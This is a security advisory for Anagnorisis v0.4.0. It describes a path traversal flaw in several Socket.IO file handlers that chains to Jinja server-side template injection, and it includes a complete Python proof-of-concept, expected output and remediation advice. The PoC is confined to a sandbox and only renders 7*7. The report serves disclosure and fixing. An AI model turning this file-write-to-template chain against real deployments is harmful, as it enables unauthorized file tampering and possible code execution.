Improper File Boundary Validation in Anagnorisis v0.4.0

Improper File Boundary Validation in Anagnorisis v0.4.0#

Author: hiro

Affected versions: Anagnorisis v0.4.0 (source-confirmed and dynamically reproduced)

Affected files: modules/text/serve.py, modules/images/serve.py, modules/videos/serve.py, src/module_helpers.py, app.py

Tested commit: acce76065cd4cecf6eaed5bee8691e95c85964d4

Description#

Several Anagnorisis Socket.IO handlers treat a client-supplied path as though it were already confined to the configured media directory. They join or directly accept the value and then perform file reads, writes, moves, metadata access or video registration without canonicalizing the path and proving that it remains under the intended root.

This is one cross-cutting file-boundary vulnerability, not a separate report for every affected handler:

Component	Event / operation	Result
Text	`emit_text_page_get_file_content`	reads an absolute or traversed UTF-8 path
Text	`emit_text_page_save_file_content`	creates or overwrites an arbitrary writable path
Images	`emit_images_page_move_files`	moves a client-selected source from outside the media root
Videos	`emit_videos_page_start_streaming`	registers an outside file for `ffprobe`/`ffmpeg` processing and HLS delivery
Shared metadata	generated image/music/video `.meta` events	reads or writes sidecar files outside the media root
Optional deletion	image/video trash events when enabled	accepts unconfined file paths

The issue remains valid after assuming that the Socket.IO authentication flaw in REPORT-01 has already been fixed. The independent validation harness rejects an unauthenticated client and permits only an authenticated client.

Security Impact#

An authenticated application user, or an unauthenticated attacker when combined with REPORT-01, can cross the configured media-directory boundary and act on files reachable by the Anagnorisis process.

The text writer provides a concrete high-impact chain. Module pages are read from modules/<name>/page.html on every request and concatenated into a Jinja template passed to render_template_string(). An attacker who overwrites such a writable page through the text event can inject server-side template syntax. The safe PoC writes only {{ 7 * 7 }} into a temporary synthetic module and observes 49; it does not attempt operating-system command execution.

The official container does not declare a non-root USER, increasing the number of potentially writable paths unless the deployment applies its own runtime restrictions.

Preconditions#

The attacker can invoke an affected Socket.IO event.
For independent scoring, the attacker has valid application access.
The target path is readable or writable by the service process.
The template-injection impact additionally requires a writable module page or another file subsequently interpreted as a template.
Deletion impact applies only when ALLOW_FILE_DELETION=true.

Classification and Severity#

Primary weakness: CWE-22 — Improper Limitation of a Pathname to a Restricted Directory
Secondary impact: CWE-1336 — Improper Neutralization of Special Elements Used in a Template Engine
Suggested independent CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H — 8.8 High
When combined with the missing authentication from REPORT-01, the same impact path is reachable with PR:N, corresponding to 9.8 Critical.

The CVE/CNA should decide whether to assign one identifier for this shared boundary failure or separate identifiers for components maintained as distinct products. This repository is a single product, so one report is recommended.

Proof of Concept#

Safety and Design#

The PoC:

reads the exact vulnerable functions from the supplied checkout by AST;
uses only temporary directories and synthetic files;
installs a working authentication boundary in the harness so the file defect is proven independently of REPORT-01;
writes only an arithmetic Jinja expression;
deletes the entire temporary tree automatically;
can be run with --expect-blocked against the proposed fix.

It does not initialize machine-learning models and does not contact a network service.

Run#

From an isolated checkout of v0.4.0 with Flask and Flask-SocketIO installed:

python .\poc_file_boundary_ssti.py --repo .

Expected vulnerable result:

unauthorized_socket_rejected=True
authorized_socket_connected=True
unauthenticated_http_status=401
authenticated_http_status=200
template_outside_media_root=True
rendered_body='<main><p>SSTI_RESULT=49</p></main>'
expect_blocked=False
blocked=False
RESULT=CONFIRMED

The authentication negative control must pass, the target template must be outside the configured media root and the authenticated page must contain SSTI_RESULT=49.

Complete PoC Source#

#!/usr/bin/env python3
"""Prove the v0.4.0 text writer reaches the extension Jinja template sink."""

from __future__ import annotations

import argparse
import ast
import base64
import hashlib
import os
import tempfile
from pathlib import Path
from types import SimpleNamespace

from flask import Flask, Response, render_template_string, request
from flask_socketio import SocketIO


def find_function(path: Path, parent: str | None, name: str) -> ast.FunctionDef:
    tree = ast.parse(path.read_text(encoding="utf-8"), filename=str(path))
    body = tree.body
    if parent:
        outer = next(
            node
            for node in body
            if isinstance(node, ast.FunctionDef) and node.name == parent
        )
        body = outer.body
    return next(
        node
        for node in body
        if isinstance(node, ast.FunctionDef) and node.name == name
    )


def compile_function(
    path: Path,
    node: ast.FunctionDef,
    namespace: dict[str, object],
) -> object:
    module = ast.Module(body=[node], type_ignores=[])
    ast.fix_missing_locations(module)
    exec(compile(module, str(path), "exec"), namespace)
    return namespace[node.name]


def main() -> None:
    parser = argparse.ArgumentParser()
    parser.add_argument("--repo", type=Path, required=True)
    parser.add_argument("--expect-blocked", action="store_true")
    args = parser.parse_args()
    repo = args.repo.resolve()
    app_source = repo / "app.py"
    text_source = repo / "modules" / "text" / "serve.py"

    route_node = find_function(app_source, None, "create_real_route")
    writer_node = find_function(text_source, "init_socket_events", "save_file_content")

    with tempfile.TemporaryDirectory(prefix="anagnorisis-ssti-") as tmp:
        root = Path(tmp)
        modules = root / "modules"
        validation_module = modules / "validation"
        media_root = root / "configured-media"
        validation_module.mkdir(parents=True)
        media_root.mkdir()
        (modules / "base.html").write_text(
            "<main>{% block content %}{% endblock %}</main>",
            encoding="utf-8",
        )
        template_path = validation_module / "page.html"
        template_path.write_text("<p>benign</p>", encoding="utf-8")

        app = Flask(__name__, template_folder=str(modules))
        app.config["SECRET_KEY"] = "local-validation-only"
        socketio = SocketIO(
            app,
            async_mode="threading",
            cors_allowed_origins=["http://127.0.0.1"],
            logger=False,
            engineio_logger=False,
        )

        @app.before_request
        def require_http_basic() -> Response | None:
            auth = request.authorization
            if auth and auth.username == "lab-user" and auth.password == "lab-password":
                return None
            return Response("Unauthorized", 401, {"WWW-Authenticate": 'Basic realm="lab"'})

        @socketio.on("connect")
        def require_socket_auth(auth: dict[str, str] | None) -> bool:
            return bool(auth and auth.get("token") == "authorized")

        writer_namespace = {
            "socketio": socketio,
            "media_directory": str(media_root),
            "os": os,
            "Path": Path,
        }
        try:
            helper_node = find_function(
                text_source,
                None,
                "resolve_text_file_path",
            )
        except StopIteration:
            helper_node = None
        if helper_node is not None:
            compile_function(text_source, helper_node, writer_namespace)
        compile_function(
            text_source,
            writer_node,
            writer_namespace,
        )
        create_real_route = compile_function(
            app_source,
            route_node,
            {
                "render_template_string": render_template_string,
                "cfg": SimpleNamespace(),
                "extension_names": ["validation"],
            },
        )
        app.add_url_rule(
            "/validation",
            "validation_route",
            create_real_route("validation"),
        )

        old_cwd = Path.cwd()
        os.chdir(root)
        try:
            unauthorized_socket = socketio.test_client(app, auth={"token": "wrong"})
            authorized_socket = socketio.test_client(app, auth={"token": "authorized"})
            authorized_socket.emit(
                "emit_text_page_save_file_content",
                {
                    "file_path": str(template_path),
                    "text_content": "<p>SSTI_RESULT={{ 7 * 7 }}</p>",
                },
            )

            basic = base64.b64encode(b"lab-user:lab-password").decode("ascii")
            http = app.test_client()
            unauthenticated_response = http.get("/validation")
            authenticated_response = http.get(
                "/validation",
                headers={"Authorization": f"Basic {basic}"},
            )
        finally:
            os.chdir(old_cwd)

        source_hashes = {
            str(app_source): hashlib.sha256(app_source.read_bytes()).hexdigest(),
            str(text_source): hashlib.sha256(text_source.read_bytes()).hexdigest(),
        }
        rendered = authenticated_response.get_data(as_text=True)
        vulnerable = (
            not unauthorized_socket.is_connected()
            and authorized_socket.is_connected()
            and unauthenticated_response.status_code == 401
            and authenticated_response.status_code == 200
            and "SSTI_RESULT=49" in rendered
        )
        blocked = (
            not unauthorized_socket.is_connected()
            and authorized_socket.is_connected()
            and unauthenticated_response.status_code == 401
            and authenticated_response.status_code == 200
            and "SSTI_RESULT=49" not in rendered
            and "<p>benign</p>" in rendered
        )
        confirmed = blocked if args.expect_blocked else vulnerable

        print(f"source_sha256={source_hashes!r}")
        print(f"writer_lines={writer_node.lineno}-{writer_node.end_lineno}")
        print(f"route_lines={route_node.lineno}-{route_node.end_lineno}")
        print(f"unauthorized_socket_rejected={not unauthorized_socket.is_connected()}")
        print(f"authorized_socket_connected={authorized_socket.is_connected()}")
        print(f"unauthenticated_http_status={unauthenticated_response.status_code}")
        print(f"authenticated_http_status={authenticated_response.status_code}")
        print(f"template_outside_media_root={not template_path.is_relative_to(media_root)}")
        print(f"rendered_body={rendered!r}")
        print(f"expect_blocked={args.expect_blocked}")
        print(f"blocked={blocked}")
        print("RESULT=CONFIRMED" if confirmed else "RESULT=NOT_CONFIRMED")
        if not confirmed:
            raise SystemExit(2)


if __name__ == "__main__":
    main()

Additional Dynamic Evidence#

The text-to-template PoC was supplemented by two source-exact component tests:

The original image move handler moved a synthetic file from outside the configured media directory into an inside target. The outside source was removed and its content was preserved at the destination.
The original video handler accepted a synthetic outside .mp4 path, returned a stream URL and stored the outside path in active_transcodings. The test stopped before invoking ffprobe or ffmpeg.

Both tests used a Socket.IO harness that rejected unauthenticated clients. After canonical containment checks were added, both tests returned the expected blocked result.

Root Cause#

os.path.join() is not a security boundary. On an absolute second argument it discards the intended base path, and traversal segments can also resolve outside the base:

file_path = data.get("file_path")
full_path = os.path.join(media_directory, file_path)
with open(full_path, "w", encoding="utf-8") as file:
    file.write(text_content)

Other handlers directly accept absolute paths after testing only that the file exists. Boundary validation is inconsistent and is not performed immediately before each sensitive operation.

Recommended Remediation#

Convert each untrusted path to a canonical path.
Require it to be a descendant of the canonical configured media root.
Reject absolute input where only a media-relative path is required.
Apply the same helper to reads, writes, moves, deletes, metadata sidecars, media processors and configuration-derived paths.
Open files with least privilege and run the container as a non-root user.
Avoid interpreting mutable application files with render_template_string().
Add negative tests for absolute paths, .., symlinks and Windows drive/UNC paths.

Fix Verification#

A local proposal reused src.file_manager.resolve_subpath() at the text, image, video and shared-metadata boundaries. The source-exact tests produced:

original text/template chain: RESULT=CONFIRMED;
patched text/template chain with --expect-blocked: RESULT=CONFIRMED;
original image move: RESULT=CONFIRMED;
patched image move with --expect-blocked: RESULT=CONFIRMED;
original video registration: RESULT=CONFIRMED;
patched video registration with --expect-blocked: RESULT=CONFIRMED.

The patched repository also passed 58 selected existing tests. A separate test_file_manager.py collection attempt could not run because the minimal validation environment did not include PyTorch; this is recorded as an environment limitation, not as a passing result.

Duplicate and Disclosure Status#

GitHub Security Advisories, public issues, NVD, CVE/GHSA, VulDB and exact event names were checked on 2026-07-28. No public same-project report was found. This does not exclude private reports or reserved identifiers.

The vendor has not been contacted, no advisory has been published, no VulDB entry has been submitted and no CVE has been requested.